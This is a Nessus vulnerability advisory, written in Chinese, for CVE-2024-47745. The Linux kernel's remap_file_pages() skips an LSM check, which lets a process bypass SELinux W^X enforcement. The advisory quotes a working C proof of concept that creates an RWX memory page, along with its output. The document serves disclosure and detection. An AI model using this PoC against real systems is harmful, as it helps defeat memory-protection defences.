Linux/Unix 主機上安裝了一個或多個受到弱點影響的套件，且供應商未提供可用的修補程式。

  - mm：呼叫 remap_file_pages() 中的 security_mmap_file() LSM 勾點。remap_file_pages 系統呼叫處置程式會直接呼叫 do_mmap()，其中不包含 LSM 安全性檢查。如果處理程序之前呼叫過 personality(READ_IMPLIES_EXEC)，且系統針對 RW 頁面呼叫了 remap_file_pages()，這實際上會導致頁面重新對應至 RWX，進而繞過 SELinux 強制執行的 W^X 原則。因此，我們應該在呼叫 do_mmap() 之前，透過 remap_file_pages 系統呼叫處置程式中的 security_mmap_file LSM 勾點來檢查 prot。
    否則，可能允許攻擊者繞過 SELinux 強制執行的 W^X 原則。此繞過與 CVE-2016-10044 類似，可在 [1] 中找到，其透過 AIO 繞過相同原則。The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, test, 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old);
    syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open(/proc/self/maps, O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks] (CVE-2024-47745)

請注意，Nessus 依賴供應商報告的套件存在。

偵測

Linux Distros 未修補的弱點：CVE-2024-47745

high Nessus Plugin ID 228789

版本 1.22